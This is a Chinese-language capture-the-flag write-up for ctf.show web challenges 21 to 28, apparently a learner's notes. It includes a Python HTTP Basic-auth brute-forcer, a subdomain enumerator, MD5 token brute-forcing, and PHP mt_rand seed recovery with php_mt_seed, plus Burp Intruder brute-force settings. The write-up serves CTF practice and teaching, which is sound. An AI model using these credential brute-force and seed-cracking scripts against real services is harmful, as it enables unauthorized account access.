0x00 web21
参考链接:tomcat 认证爆破之custom iterator使用
- burpsuite大致步骤:
①抓包发送至intruder
②base64解码Authorization: Basic YWRtaW46YWFhYQ==
=》Authorization: Basic admin:aaaa
③添加为payload§YWRtaW46YWFhYQ==§
,payload type设置为custom iterator【自定义迭代器】
④position 1中输入admin,position 2中输入:
,position 3中导入字典
⑤payload Processing中加入规则:base64加密
⑥payload Encoding中取消勾选payload Encoding【防止==
号被编码】
自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式
- Python脚本
import time
import requests
import base64
url = 'http://87e494f6-ff98-46f0-9f46-8d5e290b5816.chall.ctf.show/'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
#['123456\n', 'shark63\n']
print(strs)
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
#strs.encode('utf-8')).decode('utf-8')
#是为了解决TypeError: a bytes-like object is required, not 'str'
}
rep =requests.get(url,headers=header)
time.sleep(0.1)
if rep.status_code ==200:
print(rep.text)
break
0x01 web22
网上找了个脚本
#用法: python3 subdomain.py xxxx.com
import socket
import sys
domain = sys.argv[1]
with open('subdomain.txt','r') as f:
for i in f:
i = i.strip()#去空
subdomain = i + '.'+domain
try:
ip = socket.gethostbyname(subdomain)
print("\033[1;32;40m %s \033[0m" % (subdomain+' '+ip))
except Exception as e:
pass
- 或者利用工具
python sublist3r.py -d ctfer.com
结果:http://flag.ctfer.com/index.php
0x02 web23
- 源代码:
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
- 爆破出符合条件的md5值即可
- 编写Python脚本【不熟练+intval函数 搞了好久】
import hashlib
dicts='1234567890qwertyuiopasdfghjklzxcvbnm'
strs=''
def getMd5(strs):
md5Object = hashlib.md5()
md5Object.update(strs.encode("utf-8"))
md5 = md5Object.hexdigest()
return md5
for i in dicts:
for j in dicts:
strs = i+j
md5 = getMd5(strs)
try:
if (md5[1:2]==md5[14:15] and md5[14:15] ==md5[17:18]):
if ((int(md5[1:2])+int(md5[14:15])+int(md5[17:18]))/int(md5[1:2])==int(md5[31:32])):
print(strs)
exit(0)
except Exception as e:
pass
- 看其他师傅的脚本,感觉用PHP写更方便点【复制粘贴就行】
<?php
error_reporting(0);
$a="asdfghjklqwertyuiopzxcvbnm1234567890";
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $a[$i].$a[$j];
exit(0);
}
}
}
}
?>
0x03 web24
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}
?>
mt_scrand() //播种 Mersenne Twister 随机数生成器。
mt_rand() //生成随机数
简单来说mt_scrand()通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数
当种子不变时,实际上生成的随机数是固定的。而这就是伪随机数漏洞
<?php
mt_srand(372619038);
echo(mt_rand());
?>
- 运行得伪随机数1155388967,传r=1155388967即可
0x04 web25
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
//hexdec() 函数把十六进制转换为十进制。
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;//这里可以获得第一次的伪随机数
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
- 可以看出是通过第一个伪随机数获取种子,参考文章如web24,还有题目的hint1 hint2
?r=0
得第一个随机数的相反数- 下载
php_mt_seed-4.0
- 进入其目录后,bash中输入
make
【第一次使用要输入】 ./php_mt_seed-4.0
第一个随机数- 跑一会后可以出来一些值,抓包查看服务器版本得PHP7.3,故选择值为PHP7.3的种子
- 再利用脚本
<?php
mt_srand(2471366460);
echo mt_rand()."\n";
echo (mt_rand()+mt_rand());
?r=94231852
Cookie: token=3236254038
即可
0x05 web26
- 抓包burpsuite爆破密码即可,跑得pass=7758521
- 有个非预期解,全为空也能连接成功,一开始没发现这一问题是因为返回的flag没有被调用,得在burpsuite的返回包中发现
{"success":true,"msg":"\u6570\u636e\u5e93\u8fde\u63a5\u6210\u529f","flag":"flag{eb9b4baf-d6db-487a-9007-fe4e49ab9f4a}"}
0x06 web27
- 在
录取名单
中找到姓名和缺少出生年月的身份证 学生学籍信息查询系统
中爆破身份证- 得学号和密码,登录即可
- 爆破用burpsuite即可
0x07 web28
- 看提示才知道是跑目录
- 按提示爆破/0~100/0~100/
- payload:
/72/20/
- 方法burpsuite
①Attack type
选择Cluster bomb
②Payload set 1/2
的type
选择number
③From:0,To:100,Step:1
其余默认即可